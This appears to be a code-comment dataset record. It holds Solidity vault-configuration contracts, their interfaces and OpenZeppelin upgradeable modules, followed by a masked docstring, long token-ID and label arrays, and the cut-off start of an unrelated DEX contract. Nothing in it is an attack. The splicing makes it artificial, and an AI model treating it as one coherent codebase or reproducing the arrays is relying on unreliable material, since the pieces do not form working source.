whitelistedTokens[_underlyingToken].underlyingIOUAddress = newIou;
whitelistedTokens[_underlyingToken].underlyingReceiptAddress = newReceipt;
emit TokenCreated(_underlyingToken);
return (newIou, newReceipt);
}
/// @notice removes whitelisted token from the contract, avoiding new deposits and withdrawals.
/// @param _tokenAddress SC address of the ERC20 token to remove from whitelisted tokens
function removeWhitelistedToken(address _tokenAddress) external override onlyOwner {
_removeWhitelistedToken(_tokenAddress);
}
/// @notice private function that removes whitelisted token from the contract, avoiding new deposits and withdrawals.
/// @param _tokenAddress SC address of the ERC20 token to remove from whitelisted tokens
function _removeWhitelistedToken(address _tokenAddress) private {
require(
whitelistedTokens[_tokenAddress].underlyingIOUAddress != address(0),
"ERR: NOT WHITELISTED"
);
emit TokenWhitelistRemoved(_tokenAddress);
delete whitelistedTokens[_tokenAddress];
}
/// @notice External function called by the owner to add whitelisted token in network
/// @param _tokenAddress Address of the token in this network
/// @param _tokenAddressRemote Address of the token in destination network
/// @param _remoteNetworkID Network Id
/// @param _remoteTokenRatio New token ratio
function addTokenInNetwork(
address _tokenAddress,
address _tokenAddressRemote,
uint256 _remoteNetworkID,
uint256 _remoteTokenRatio
)
external
override
onlyOwner
validAddress(_tokenAddress)
validAddress(_tokenAddressRemote)
notZero(_remoteNetworkID)
{
require(
whitelistedTokens[_tokenAddress].underlyingIOUAddress != address(0),
"ERR: NOT WHITELISTED"
);
remoteTokenAddress[_remoteNetworkID][_tokenAddress] = _tokenAddressRemote;
remoteTokenRatio[_remoteNetworkID][_tokenAddress] = _remoteTokenRatio;
emit RemoteTokenAdded(
_tokenAddress,
_tokenAddressRemote,
_remoteNetworkID,
_remoteTokenRatio
);
}
/// @notice Called only by the owner to remove whitelisted token from remote network
/// @param _tokenAddress address of the token to remove
/// @param _remoteNetworkID id of the remote network
function removeTokenInNetwork(address _tokenAddress, uint256 _remoteNetworkID)
external
override
onlyOwner
notZero(_remoteNetworkID)
validAddress(_tokenAddress)
{
require(
remoteTokenAddress[_remoteNetworkID][_tokenAddress] != address(0),
"ERR: NOT WHITELISTED NETWORK"
);
delete remoteTokenAddress[_remoteNetworkID][_tokenAddress];
delete remoteTokenRatio[_remoteNetworkID][_tokenAddress];
emit RemoteTokenRemoved(_tokenAddress, _remoteNetworkID);
}
/// @notice Updates the minimum fee
/// @param _newMinFee new minimum fee value
function setMinFee(uint256 _newMinFee) external override onlyOwner {
require(_newMinFee < FeeOperations.FEE_FACTOR, "ERR: MIN > FACTOR");
require(_newMinFee < maxFee, "ERR: MIN > MAX");
minFee = _newMinFee;
emit MinFeeChanged(_newMinFee);
}
/// @notice Updates the maximum fee
/// @param _newMaxFee new maximum fee value
function setMaxFee(uint256 _newMaxFee) external override onlyOwner {
require(_newMaxFee < FeeOperations.FEE_FACTOR, "ERR: MAX > FACTOR");
require(_newMaxFee > minFee, "ERR: MIN > MAX");
maxFee = _newMaxFee;
emit MaxFeeChanged(_newMaxFee);
}
/// @notice Updates the minimum limit liquidity block
/// @param _newMinLimitLiquidityBlocks new minimum limit liquidity block value
function setMinLimitLiquidityBlocks(uint256 _newMinLimitLiquidityBlocks)
external
override
onlyOwner
{
require(_newMinLimitLiquidityBlocks < maxLimitLiquidityBlocks, "ERR: MIN > MAX");
minLimitLiquidityBlocks = _newMinLimitLiquidityBlocks;
emit MinLiquidityBlockChanged(_newMinLimitLiquidityBlocks);
}
/// @notice Updates the maximum limit liquidity block
/// @param _newMaxLimitLiquidityBlocks new maximum limit liquidity block value
function setMaxLimitLiquidityBlocks(uint256 _newMaxLimitLiquidityBlocks)
external
override
onlyOwner
{
require(_newMaxLimitLiquidityBlocks > minLimitLiquidityBlocks, "ERR: MIN > MAX");
maxLimitLiquidityBlocks = _newMaxLimitLiquidityBlocks;
emit MaxLiquidityBlockChanged(_newMaxLimitLiquidityBlocks);
}
/// @notice External function called by the vault to generate new ID
/// @dev Nonce variable is incremented on each call
function generateId() external override onlyVault(msg.sender) returns (bytes32) {
nonce = nonce + 1;
return keccak256(abi.encodePacked(block.chainid, block.number, vault, nonce));
}
/// @notice Check if amount is in token transfer limits
function inTokenTransferLimits(address _token, uint256 _amount)
external
view
override
returns (bool)
{
return (whitelistedTokens[_token].minTransferAllowed <= _amount &&
whitelistedTokens[_token].maxTransferAllowed >= _amount);
}
/// @notice External callable function to pause the contract
function pauseNetwork(uint256 _networkID) external override onlyOwner {
pausedNetwork[_networkID] = true;
emit PauseNetwork(msg.sender, _networkID);
}
/// @notice External callable function to unpause the contract
function unpauseNetwork(uint256 _networkID) external override onlyOwner {
pausedNetwork[_networkID] = false;
emit UnpauseNetwork(msg.sender, _networkID);
}
/// @notice Sets the value of the flag that controls if part of a Mosaic transfer
/// can be swapped into the native token of the destination network
function setAbleToPerformSmallBalanceSwap(bool _flag) external override onlyOwner {
ableToPerformSmallBalanceSwap = _flag;
}
/// @notice Public function to add address of the MosaicNativeSwapper used to swap into native tokens
/// @param _mosaicNativeSwapperID the integer constant for the MosaicNativeSwapper
/// @param _mosaicNativeSwapperAddress Address of the MosaicNativeSwapper
function addSupportedMosaicNativeSwapper(
uint256 _mosaicNativeSwapperID,
address _mosaicNativeSwapperAddress
) public override onlyOwner validAddress(_mosaicNativeSwapperAddress) {
supportedMosaicNativeSwappers[_mosaicNativeSwapperID] = _mosaicNativeSwapperAddress;
ableToPerformSmallBalanceSwap = true;
}
/// @notice Public function to remove address of the MosaicNativeSwapper
/// @param _mosaicNativeSwapperID the integer constant for the MosaicNativeSwapper
function removeSupportedMosaicNativeSwapper(uint256 _mosaicNativeSwapperID)
public
override
onlyOwner
{
delete supportedMosaicNativeSwappers[_mosaicNativeSwapperID];
}
modifier onlyOwnerOrVault(address _address) {
require(_address == owner() || _address == vault, "ERR: PERMISSIONS O-V");
_;
}
modifier onlyVault(address _address) {
require(_address == vault, "ERR: PERMISSIONS VAULT");
_;
}
modifier onlyWhitelistedRemoteTokens(uint256 _networkID, address _tokenAddress) {
require(
whitelistedTokens[_tokenAddress].underlyingIOUAddress != address(0),
"ERR: NOT WHITELISTED"
);
require(
remoteTokenAddress[_networkID][_tokenAddress] != address(0),
"ERR: NOT WHITELISTED NETWORK"
);
_;
}
modifier notZero(uint256 _value) {
require(_value > 0, "ERR: ZERO");
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IMosaicHolding.sol";
import "./IVaultConfigBase.sol";
interface IMosaicVaultConfig is IVaultConfigBase {
event MinFeeChanged(uint256 newMinFee);
event MaxFeeChanged(uint256 newMaxFee);
event MinLiquidityBlockChanged(uint256 newMinLimitLiquidityBlocks);
event MaxLiquidityBlockChanged(uint256 newMaxLimitLiquidityBlocks);
event LockupTimeChanged(address indexed owner, uint256 oldVal, uint256 newVal, string valType);
event TokenWhitelisted(
address indexed erc20,
address indexed newIou,
address indexed newReceipt
);
event TokenWhitelistRemoved(address indexed erc20);
event RemoteTokenAdded(
address indexed erc20,
address indexed remoteErc20,
uint256 indexed remoteNetworkID,
uint256 remoteTokenRatio
);
event RemoteTokenRemoved(address indexed erc20, uint256 indexed remoteNetworkID);
event PauseNetwork(address admin, uint256 networkID);
event UnpauseNetwork(address admin, uint256 networkID);
event AMMAdded(uint256 _id, address indexed _address);
event AMMRemoved(uint256 _id);
struct WhitelistedToken {
uint256 minTransferAllowed;
uint256 maxTransferAllowed;
address underlyingIOUAddress;
address underlyingReceiptAddress;
}
function passiveLiquidityLocktime() external view returns (uint256);
function minFee() external view returns (uint256);
function maxFee() external view returns (uint256);
function maxLimitLiquidityBlocks() external view returns (uint256);
function minLimitLiquidityBlocks() external view returns (uint256);
function wethAddress() external view returns (address);
function remoteTokenAddress(uint256 _id, address _token) external view returns (address);
function remoteTokenRatio(uint256 _id, address _token) external view returns (uint256);
function supportedAMMs(uint256 _ammID) external view returns (address);
function pausedNetwork(uint256) external view returns (bool);
function ableToPerformSmallBalanceSwap() external view returns (bool);
function supportedMosaicNativeSwappers(uint256 _mosaicNativeSwapperID)
external
view
returns (address);
/**
* @dev used to set the passive liquidity lock time
* @param _locktime Lock time in seconds until the passive liquidity withdrawal is unavailable
*/
function setPassiveLiquidityLocktime(uint256 _locktime) external;
/**
* @dev used to set WETH address
* @param _weth Address of WETH token
* @param _minTransferAmount Minimum transfer allowed amount
* @param _maxTransferAmount Maximum transfer allowed amount
*/
function setWethAddress(
address _weth,
uint256 _minTransferAmount,
uint256 _maxTransferAmount
) external;
function getUnderlyingIOUAddress(address _token) external view returns (address);
function getUnderlyingReceiptAddress(address _token) external view returns (address);
/**
* @dev used to add address of the AMM used to swap tokens.
* @param _ammID the integer constant for the AMM
* @param _ammAddress Address of the AMM
*/
function addSupportedAMM(uint256 _ammID, address _ammAddress) external;
/**
* @dev used to remove address of the AMM.
* @param _ammID the integer constant for the AMM
*/
function removeSupportedAMM(uint256 _ammID) external;
function changeRemoteTokenRatio(
address _tokenAddress,
uint256 _remoteNetworkID,
uint256 _remoteTokenRatio
) external;
/**
* @dev used to adds a whitelisted token to the contract.
* @param _tokenAddress SC address of the ERC20 token to add to supported tokens
* @param _minTransferAmount Minimum amount of token can be transferred
* @param _maxTransferAmount Maximum amount of token can be transferred
*/
function addWhitelistedToken(
address _tokenAddress,
uint256 _minTransferAmount,
uint256 _maxTransferAmount
) external;
/**
* @dev used to removes whitelisted token from the contract.
* @param _token SC address of the ERC20 token to remove from supported tokens
*/
function removeWhitelistedToken(address _token) external;
function addTokenInNetwork(
address _tokenAddress,
address _tokenAddressRemote,
uint256 _remoteNetworkID,
uint256 _remoteTokenRatio
) external;
function removeTokenInNetwork(address _tokenAddress, uint256 _remoteNetworkID) external;
/**
* @dev updates the minimum fee.
* @param _newMinFee value to be set as new minimum fee
*/
function setMinFee(uint256 _newMinFee) external;
/**
* @dev updates the maximum fee.
* @param _newMaxFee value to be set as new minimum fee
*/
function setMaxFee(uint256 _newMaxFee) external;
/**
* @dev updates the minimum limit liquidity block.
* @param _newMinLimitLiquidityBlocks value to be set as new minimum limit liquidity block
*/
function setMinLimitLiquidityBlocks(uint256 _newMinLimitLiquidityBlocks) external;
/**
* @dev updates the maximum limit liquidity block.
* @param _newMaxLimitLiquidityBlocks value to be set as new maximum limit liquidity block
*/
function setMaxLimitLiquidityBlocks(uint256 _newMaxLimitLiquidityBlocks) external;
function generateId() external returns (bytes32);
function inTokenTransferLimits(address, uint256) external view returns (bool);
/**
* @dev used to pause a network.
* @param _networkID network ID of remote token
*/
function pauseNetwork(uint256 _networkID) external;
/**
* @dev used to unpause a network.
* @param _networkID network ID of remote token
*/
function unpauseNetwork(uint256 _networkID) external;
function setAbleToPerformSmallBalanceSwap(bool _flag) external;
function addSupportedMosaicNativeSwapper(
uint256 _mosaicNativeSwapperID,
address _mosaicNativeSwapperAddress
) external;
function removeSupportedMosaicNativeSwapper(uint256 _mosaicNativeSwapperID) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../interfaces/IInvestmentStrategy.sol";
interface IMosaicHolding {
event FoundsInvested(address indexed strategy, address indexed admin, uint256 cTokensReceived);
event InvestmentWithdrawn(address indexed strategy, address indexed admin);
event RebalancingThresholdChanged(
address indexed admin,
address indexed token,
uint256 oldAmount,
uint256 newAmount
);
event RebalancingInitiated(
address indexed by,
address indexed token,
address indexed receiver,
uint256 amount
);
event TokenClaimed(address indexed strategy, address indexed rewardTokenAddress);
event SaveFundsStarted(address owner, address token, address receiver);
event LiquidityMoved(address indexed to, address indexed tokenAddress, uint256 amount);
event SaveFundsLockUpTimerStarted(address owner, uint256 time, uint256 durationToChangeTime);
event SaveFundsLockUpTimeSet(address owner, uint256 time, uint256 durationToChangeTime);
event ETHTransfered(address receiver, uint256 amount);
function getTokenLiquidity(address _token, address[] calldata _investmentStrategies)
external
view
returns (uint256);
function saveFundsLockupTime() external view returns (uint256);
function newSaveFundsLockUpTime() external view returns (uint256);
function durationToChangeTimer() external view returns (uint256);
function transfer(
address _token,
address _receiver,
uint256 _amount
) external;
function transferETH(address _receiver, uint256 _amount) external;
function setUniqRole(bytes32 _role, address _address) external;
function approve(
address _spender,
address _token,
uint256 _amount
) external;
/**
* @dev starts save funds transfer.
* @param _token Token's balance the owner wants to withdraw
* @param _to Receiver address
*/
function startSaveFunds(address _token, address _to) external;
/**
* @dev manually moves funds back to L1.
*/
function executeSaveFunds() external;
/**
* @dev starts save funds lockup timer change.
* @param _time lock up time duration
*/
function startSaveFundsLockUpTimerChange(uint256 _time) external;
/**
* @dev set save funds lock up time.
*/
function setSaveFundsLockUpTime() external;
function invest(
IInvestmentStrategy.Investment[] calldata _investments,
address _investmentStrategy,
bytes calldata _data
) external;
function withdrawInvestment(
IInvestmentStrategy.Investment[] calldata _investments,
address _investmentStrategy,
bytes calldata _data
) external;
function coverWithdrawRequest(
address[] calldata _investmentStrategies,
bytes[] calldata _data,
address _token,
uint256 _amount
) external;
function claim(address _investmentStrategy, bytes calldata _data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ITokenFactory {
function createIOU(
address _underlyingAddress,
string calldata _tokenName,
address _owner
) external returns (address);
function createReceipt(
address _underlyingAddress,
string calldata _tokenName,
address _owner
) external returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library FeeOperations {
uint256 internal constant FEE_FACTOR = 10000;
function getFeeAbsolute(uint256 amount, uint256 fee) internal pure returns (uint256) {
return (amount * fee) / FEE_FACTOR;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "../interfaces/IMosaicHolding.sol";
import "../interfaces/ITokenFactory.sol";
import "../interfaces/IReceiptBase.sol";
import "../interfaces/IVaultConfigBase.sol";
abstract contract VaultConfigBase is
IVaultConfigBase,
OwnableUpgradeable,
ReentrancyGuardUpgradeable
{
ITokenFactory internal tokenFactory;
IMosaicHolding public mosaicHolding;
/// @notice Address of the MosaicVault
address public vault;
/// @notice Get mosaicHolding address
function getMosaicHolding() external view override returns (address) {
return address(mosaicHolding);
}
/// @notice Used to set address of the MosaicVault
/// @param _vault address of the MosaicVault
function setVault(address _vault) external override validAddress(_vault) onlyOwner {
vault = _vault;
}
/// @notice External function used to set the Token Factory Address
/// @dev Address of the factory need to be set after the initialization in order to use the vault
/// @param _tokenFactoryAddress Address of the already deployed Token Factory
function setTokenFactoryAddress(address _tokenFactoryAddress)
external
override
onlyOwner
validAddress(_tokenFactoryAddress)
{
tokenFactory = ITokenFactory(_tokenFactoryAddress);
}
modifier validAddress(address _address) {
require(_address != address(0), "Invalid address");
_;
}
modifier validAmount(uint256 _value) {
require(_value > 0, "Invalid amount");
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IVaultConfigBase {
event TokenCreated(address _underlyingToken);
function getMosaicHolding() external view returns (address);
function setTokenFactoryAddress(address _tokenFactoryAddress) external;
function setVault(address _vault) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IInvestmentStrategy {
struct Investment {
address token;
uint256 amount;
}
function makeInvestment(Investment[] calldata _investments, bytes calldata _data)
external
returns (uint256);
function withdrawInvestment(Investment[] calldata _investments, bytes calldata _data) external;
function claimTokens(bytes calldata _data) external returns (address);
function investmentAmount(address _token) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IReceiptBase is IERC20 {
function burn(address _from, uint256 _amount) external;
function mint(address _to, uint256 _amount) external;
function underlyingToken() external returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
|
* @dev Initializes the contract setting the deployer as the initial owner./
|
function makeInvestment(Investment[] calldata _investments, bytes calldata _data)
external
returns (uint256);
function withdrawInvestment(Investment[] calldata _investments, bytes calldata _data) external;
function claimTokens(bytes calldata _data) external returns (address);
function investmentAmount(address _token) external view returns (uint256);
}
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
| 11,780,888 |
[
1,
9685,
326,
6835,
3637,
326,
7286,
264,
487,
326,
2172,
3410,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1221,
3605,
395,
475,
12,
3605,
395,
475,
8526,
745,
892,
389,
5768,
395,
1346,
16,
1731,
745,
892,
389,
892,
13,
203,
3639,
3903,
203,
3639,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
598,
9446,
3605,
395,
475,
12,
3605,
395,
475,
8526,
745,
892,
389,
5768,
395,
1346,
16,
1731,
745,
892,
389,
892,
13,
3903,
31,
203,
203,
565,
445,
7516,
5157,
12,
3890,
745,
892,
389,
892,
13,
3903,
1135,
261,
2867,
1769,
203,
203,
565,
445,
2198,
395,
475,
6275,
12,
2867,
389,
2316,
13,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
97,
203,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
20,
31,
203,
203,
5666,
315,
6216,
5471,
19,
1042,
10784,
429,
18,
18281,
14432,
203,
5666,
315,
6216,
5656,
19,
5471,
19,
4435,
6934,
18,
18281,
14432,
203,
203,
565,
445,
1001,
5460,
429,
67,
2738,
1435,
2713,
12562,
288,
203,
3639,
1001,
1042,
67,
2738,
67,
4384,
8707,
5621,
203,
3639,
1001,
5460,
429,
67,
2738,
67,
4384,
8707,
5621,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.25;
/*
* @title: SafeMath
* @dev: Helper contract functions to arithmatic operations safely.
*/
contract SafeMath {
function Sub(uint128 a, uint128 b) pure public returns (uint128) {
assert(b <= a);
return a - b;
}
function Add(uint128 a, uint128 b) pure public returns (uint128) {
uint128 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
/*
* @title: Token
* @dev: Interface contract for ERC20 tokens
*/
contract Token {
function totalSupply() public view returns (uint256 supply);
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/*
* @title: Dex
* @author Dexhigh Services Pvt. Ltd (https://www.dexhigh.com)
* @dev The Dex Contract implement all the required functionalities viz order sharing, local exchange etc.
*/
contract DEX is SafeMath
{
uint32 public lastTransferId = 1;
// Events
event NewDeposit(uint32 indexed exId, uint32 prCode, uint32 indexed accountId, uint128 amount, uint64 timestamp, uint32 lastTransferId);
event NewWithdraw(uint32 indexed exId, uint32 prCode, uint32 indexed accountId, uint128 amount, uint64 timestamp, uint32 lastTransferId);
uint32 public lastNewOrderId = 1;
event NewOrder(uint32 indexed prTrade, uint32 indexed prBase, uint32 indexed accountId, uint32 id, bool isSell, uint80 price, uint104 qty, uint32 lastNewOrderId);
event NewCancel(uint32 indexed prTrade, uint32 indexed prBase, uint32 indexed accountId, uint32 id, bool isSell, uint80 price, uint104 qt, uint32 lastNewOrderId);
event NewBestBidAsk(uint32 indexed prTrade, uint32 indexed prBase, bool isBid, uint80 price);
uint32 public lastTradeId = 1;
event NewTrade(uint32 indexed prTrade, uint32 prBase, uint32 indexed bidId, uint32 indexed askId, uint32 accountIdBid, uint32 accountIdAsk, bool isSell, uint80 price, uint104 qty, uint32 lastTradeId, uint64 timestamp);
// basePrice, All the prices will be "based" by basePrice
uint256 public constant basePrice = 10000000000;
uint80 public constant maxPrice = 10000000000000000000001;
uint104 public constant maxQty = 1000000000000000000000000000001;
uint128 public constant maxBalance = 1000000000000000000000000000000000001;
bool public isContractUse = true;
//No Args constructor will add msg.sender as owner/operator
// Add ETH product
constructor() public
{
owner = msg.sender;
operator = owner;
AddOwner(msg.sender);
AddProduct(18, 0x0);
//lastProductId = 1; // productId == 1 -> ETH 0x0
}
address public owner;
// Functions with this modifier can only be executed by the owner
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address public operator;
// Functions with this modifier can only be executed by the operator
